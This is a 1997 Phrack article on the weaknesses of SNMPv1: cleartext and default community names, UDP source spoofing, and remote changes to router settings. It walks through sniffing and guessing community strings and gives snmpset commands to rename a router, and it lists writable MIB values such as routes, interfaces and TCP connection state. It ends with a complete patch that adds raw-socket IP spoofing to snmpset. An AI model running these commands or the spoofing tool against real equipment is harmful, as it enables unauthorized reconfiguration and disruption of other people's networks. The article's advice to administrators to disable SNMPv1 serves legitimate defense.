                                .oO Phrack 50 Oo.
 
                            Volume Seven, Issue Fifty
 
                                     7 of 16
 
                Network Management Protocol Insecurity: SNMPv1
                                 alhambra [guild]
                              alhambra@infonexus.com
 
 
As networks have become larger and more complex, a need has been felt by 
certain portions of the network administration crowd to implement network
management protocols.  From an administrative point of view, this makes
a lot of sense; centralize the administration of the network, and make it
convenient and easy for the administrator to monitor and administer changes
as needed.  As usual, however, from the security point of view, these 
protocols are a potential for catastrophe.
 
In this article, we'll explore the world of SNMPv1.  In two later articles
(to be published in later issues of Phrack) we'll look into other network 
management schemes (SNMPv2, DCE, etc).  SNMPv1 has been around for a while.  
In fact, a number of the problems outlined in this paper have been fixed
with the release of SNMPv2.  As usual, however, large networks who placed
their original administration burdens on SNMPv1 have been slow to change.
As a result, large corporations, universities, and some small/cheap ISP's 
still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often
in horribly set up configurations.  

The SNMP protocol
 
The SNMP protocol has 5 simple types of messages.  They are get-request,
get-next-request, set-request, get response and trap.  We will concentrate
on using the get-* messages to retrieve information from remote sites, routers
and the like, and the set-request to manipulate a variety of settings on our
target.
 
SNMP uses UDP as it transport mechanism.  The basic layout of an SNMP packet
is:
+-----------------------------------------------------------------------------+
|IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |
|Hdr|Hdr|       |         |Type|  ID   |stat|index|    |     |    |     |     |
+-----------------------------------------------------------------------------+

Community is SNMP's authentication mechanism.  PDU type is the type of message
being sent (get-request, set request, etc.)  Request ID is used to 
differentiate between requests. Error status is (obviously) used to transport 
error messages, and error index gives the offset of the variable which was in
error.  Finally, name and value represent the name of the field requested and 
either the value to set it to or the value of it on the remote server.  These 
are defined by a MIB written in ASN.1, and encoded using a code called BER. 
ASN.1 is used to define data and the types and properties of this data.  
BER is used to actually transmit the data in a platform independent manner 
(similar perhaps to XDR.)  
 
The values that can be fetched and set via SNMP are defined in what is called
the Message Information Base or MIB.  The MIB is written in ASN.1, and defines
all the different variable classes, types, variables and whatnot associated
with SNMP.  Standard things in the MIB are classes used to define variables
associated with data for statistics and values for the system as a whole, the
interfaces on the system, (possibly) an address translation table, IP, TCP,
UDP, ICMP, and so on, depending on just what kind of system the agent is
running on. 

Where exactly do SNMPv1's security flaws lie?  We can narrow them down to
4 general problem areas:
1) Use of UDP as a transport mechanism
2) Use of clear text community names and the presence 
	of default, overpriveleged communities
3) Information avaialable
4) Ability to remotely modify parameters.

They're all related to one another.  We'll go through one by one, define
the problem, and explain how it is exploitable.  Unfortunately, most of 
SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its 
design, and have no easy solution barring the move to SNMPv2 or some other 
network management protocol.  Some common sense, however, can minimize the 
problems in most situations.



UDP as a transport mechanism

  I know I'm not alone in feeling that UDP is, at best, a poor idea when
used in any sort of application that requires any level of security.  The
fact that UDP is connectionless leads to a myriad of problems with
regard to host based authentication, which unfortunately enough, SNMP uses
as one of its mechanisms.  So we have 2 basic attacks due to the fact that
a UDP transport is used.  First, we can easily spoof packets to a server, and
modify/add/reconfigure the state of the server.  As we're using a spoofed
source address, there isn't any way to get the return message, but the 
machine we are spoofing will simply drop the response message, and the server
is none the wiser.  Using our 'snmpset' program which has been modified to
use a raw socket to allow us to forge the source address, we can modify any
value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY
NAME.  

snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\
        system.sysName.0 s "owned"

Changes our the router name to 'owned', just in case we want to be really
obvious that this router has crappy security.

But how do we go about getting a legitimate community name?  We have a few
different methods we can employ.


Use of cleartext community names, and default communities

   One of the most laughable things about the SNMP protocol is its 
"authentication" method.  I use the term authentication in the loosest
sense only, as it makes me cringe when I think about it.  SNMP only
can authenticate based on two different elements.  The source address, as
we saw above, it trivial to forge, rendering address based authentication
useless.  The second method is the use of "community" names.  Community names
can be thought of as passwords to the SNMP agent.  As easily as plaintext
password can be sniffed from telnet, rlogin, ftp and the like, we can sniff
them from SNMP packets.  As a matter of fact, it's easier, as every SNMP
packet will have the community name.  Grab your favorite sniffer (sniffer, not
password sniffer) and head over to your favorite segement running SNMP.  My
sniffer of choice is 'snoop' so I'll use it as my example, though using any
other sniffer should be easy.  SNMP uses port 161.  The field we're after, the
community, is typically 6-8 characters long.  Cranking up snoop on my segment
reveals the following. (IP's changed to protect the stupid, of course)

# snoop -x 49,15 port 161
Using device /dev/le (promiscuous mode)
10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62
 
           0: 0572 3232 3135 a028 0202 009c 0201 0002    .r4485.(.......

There we go.  Using this community name we're able to grab all the info
we want, and modify all the parameter and whatnot we desire.  Easy enough...
if you're able to sniff the segment.  But what happens when you can't?


Available Information

When you can't sniff the segment, life gets a little more complicated.  But
only a little.  We have a few things on our side that may come in handy.  
First off, almost always there is a default 'public' community.  Very few 
admin's take the time to deactivate this community, nor realize the risk it
poses.  Using this community, we can usually read all the information we want.
Quite often, being able to read the information gives us enough clues to
try to brute force a legitimate community name.

snmpwalk -v 1 router.pitiful.com public system
will dump the contents of the system table to us, returning something like:

system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS
Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986
-1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu"
system.sysObjectID.0 = OID: enterprises.Cisco.1.45
system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31
system.sysContact.0 = "Jeff Wright"
system.sysName.0 = "hws"
system.sysLocation.0 = ""
system.sysServices.0 = 6

We see that we're dealing with a cisco router, and we see it's contact's name,
and the system name.  Same as we might do with guessing passwords, we can use
this information to try to piece together a community name.  Popular favorites
include stuff like 'admin' 'router' 'gateway' and the like, combined with
numbers or whatnot.  Trying something like 'routerhws' for the above example
might work.  It might not.  While failed attempts are noted, very few people,
if any, ever check for them.  (as it turns out, the above router had a 
community name of 'cisco00'.  Imaginative, eh?)  

Even if only public works, there's lots of interesting things available via
SNMP.  We can dump routing tables, connection tables, statistics on router use.
In certain situations, we can even get information on packet filters in place,
and access control rules. All are useful information to have in setting up 
attacks in conventional manners.   Sometimes public is even given r/w on
certain tables, and we can do most of what we need to do via that account.
When we do have a priveledged community though, the fun begins.


Remote Manipulation via SNMP

We have all the elements we need to remotely configure the network.  We have
a community name, we have the ability to forge the manager (the SNMP client)
address.  All we need to figure out is what we can modify.  This really 
varies.  There are a set of defaults that almost every SNMP'able machine
will have.  In addition to these, though, are the 'enterprise' MIB's, which
define vendor specific SNMP tables and fields.  There's really too much to go
into here.  Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for
example...most vendors make their MIB's easy to find.  Cisco's web page also
has a great introduction to their enterprise MIB's, which detail all the
differences between different IOS release levels and whatnot.
IN the meantime, though, check out the following as fun places to begin:

system.sysContact   \
system.sysName       |- really sorta pointless to change, but hey...whatever.
system.sysLocation  /

interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)

at.atTable.atIfIndex.n
at.atTable.atPhysAddress.n
at.atTable.atNetAddress.n

ip.ipForwarding
ip.ipDefaultTTL
ip.ipRouteTable.* (there's tons of stuff in this table)
ip.ipNetToMediaTable.* (same as above)

tcp.tcpConnState.* (only setable to 12, which deletes the TCB)

and so on.  If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter
will give you a set of tables with the types of all these values.  If you don't
have TCP/IP Illustrated, get off your computer and go buy it.

Remember, people don't really like it too much when you muck with their 
equipment.  Act responsibly.  

And to the admins reading this: TURN OFF SNMPv1!  Think about it.  Any time
you allow control of you network via the network in a manner as unsafe as
how SNMPv1 does it, you're creating more problems for yourself.  Realizing
its all about acceptable risks, realize this isn't one.  Go investigate 
alternate network management software.  Realize, however, there are always
going to be problems.  (I don't recommend SNMPv2, however...a few months from
now when I release my SNMPv2 article and tools, you'll be glad you are not
running it)

Resources:
The software I use is based on the UCD modifications to the CMU SNMP 
distribution.  It is available at:

ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz

Following this article there is a patch, which are the modifications to
the snmplib to support address spoofing, and modifications to the 'snmpset'
app to support them.  The patch is only known to work under Solaris, though
it should take only minor changes to move it to any other platform.

ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS
contain the enterprise MIBS for a variety of different pieces of hardware.
www.cisco.com/univercd/ contains tons of info on a variety of different 
Cisco hardware and software, including great references on SNMP under IOS.

http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi

has a MIB browser, which allows you to use your favorite web client to
peruse the standard as well as vendor MIBs  on thier site.

RFC's!  Yes!  All of them.  Go to http://www.internic.net/ds/dspg0intdoc.html
and read them.  Do a search for SNMP and you'll get back tons of hits.  
They're a little...hrm...terse at times, but these are the defacto definitions
of SNMP.  Skimming them will give you more info than you can imagine.


<++> SNMPv1/snmp.diff
*** apps/snmpset.c      Mon Jan 20 09:07:22 1997
-- apps/snmpset.c       Tue Apr  8 17:21:03 1997
***************
*** 77,83 ****
  
  void
  usage(){
!     fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ
e value]+    or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
 value]+     or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
text [oID type val]+\n");
      fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
--- 77,83 ----
  
  void
  usage(){
!     fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [
objectID type value]+    or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
 value]+     or:\n");
      fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
text [oID type val]+\n");
      fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
***************
*** 85,90 ****
--- 85,93 ----
      fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n");
  }
  
+ extern char *fakeaddr;
+ extern int nastyflag;
+ 
  int
  main(argc, argv)
      int           argc;
***************
*** 152,158 ****
                          usage();
                          exit(1);
                      }
!                     break;
                default:
                    printf("invalid option: -%c\n", argv[arg][1]);
                    break;
--- 155,165 ----
                          usage();
                          exit(1);
                      }
!                   break;
!               case 'e':
!                       fakeaddr = argv[++arg];
!                       nastyflag = 1;
!                       break;
                default:
                    printf("invalid option: -%c\n", argv[arg][1]);
                    break;
*** snmplib/snmp_api.c  Mon Jan 20 10:43:20 1997
-- snmplib/snmp_api.c   Tue Apr  8 17:21:08 1997
***************
*** 58,63 ****
--- 58,71 ----
  #include <sys/select.h>
  #endif
  #include <sys/socket.h>
+ 
+ #include <netinet/in_systm.h>
+ #include <netinet/in.h>
+ #include <netinet/ip_var.h>
+ #include <netinet/ip.h>
+ #include <netinet/udp.h>
+ #include <netinet/udp_var.h>
+  
  #include <netdb.h>
  #include "asn1.h"
  #include "snmp.h"
***************
*** 847,852 ****
--- 855,882 ----
      }
      return 0;
  }
+ /* EVIL STUFF in_cksum for forged ip header */
+ unsigned short in_cksum(addr, len)
+     u_short *addr;
+     int len;
+ {
+     register int nleft = len;
+     register u_short *w = addr;
+     register int sum = 0;
+     u_short answer = 0;
+     while (nleft > 1)  {
+         sum += *w++;
+         nleft -= 2;
+     }
+     if (nleft == 1) {
+         *(u_char *)(&answer) = *(u_char *)w ;
+         sum += answer;
+     }
+     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
+     sum += (sum >> 16);         /* add carry */
+     answer = ~sum;              /* truncate to 16 bits */
+     return(answer);
+ }
  
  /*
   * Sends the input pdu on the session after calling snmp_build to create
***************
*** 857,862 ****
--- 887,894 ----
   * On any error, 0 is returned.
   * The pdu is freed by snmp_send() unless a failure occured.
   */
+ char *fakeaddr = NULL;
+ int nastyflag = 0;
  int
  snmp_send(session, pdu)
      struct snmp_session *session;
***************
*** 1013,1026 ****
        xdump(packet, length, "");
          printf("\n\n");
      }
  
! 
!     if (sendto(isp->sd, (char *)packet, length, 0,
!              (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){
!       perror("sendto");
!       snmp_errno = SNMPERR_GENERR;
!       return 0;
!     }
  /*    gettimeofday(&tv, (struct timezone *)0); */
      tv = Now;
      if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
--- 1045,1099 ----
        xdump(packet, length, "");
          printf("\n\n");
      }
+    if(nastyflag == 1)
+       {
+         struct ip *ip_hdr;
+         struct udphdr *udp_hdr;
+         char *payload;
+         int socky;
+         struct sockaddr_in dest;
+         payload = (char*) malloc
+                 (sizeof(struct ip)
+                  + (sizeof(struct udphdr)) + length);
+         ip_hdr = (struct ip*) payload;
+         ip_hdr->ip_v=4;
+         ip_hdr->ip_hl=5;
+         ip_hdr->ip_tos=0;
+         ip_hdr->ip_off=0;
+         ip_hdr->ip_id=htons(1+rand()%1000);
+         ip_hdr->ip_ttl=255;
+         ip_hdr->ip_p=IPPROTO_UDP;
+         ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len
gth);
+         ip_hdr->ip_src.s_addr = inet_addr(fakeaddr);
+         ip_hdr->ip_dst = pdu->address.sin_addr;
+         ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));
+  
+         udp_hdr = (struct udphdr *) (payload + sizeof(struct ip));
+         udp_hdr->uh_sport = htons(10000+rand()%20000);
+         udp_hdr->uh_dport = htons(161);
+         udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr));
+         udp_hdr->uh_sum = 0;
+         memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length
);
+         dest.sin_family = AF_INET;
+         dest.sin_port = htons(161);
+         dest.sin_addr = pdu->address.sin_addr;
+         socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
+         fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length
,0,
+                                      (struct sockaddr *)&dest,sizeof(dest)));
+       exit(0);
  
!       }
!       else
!       {
!               if (sendto(isp->sd, (char *)packet, length, 0,
!                  (struct sockaddr *)&pdu->address, 
!                          sizeof(pdu->address)) < 0)
!                 {
!                       perror("sendto");
!                       snmp_errno = SNMPERR_GENERR;
!                       return 0;
!                 }
!          }
  /*    gettimeofday(&tv, (struct timezone *)0); */
      tv = Now;
      if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
<--> SNMPv1/snmp.diff
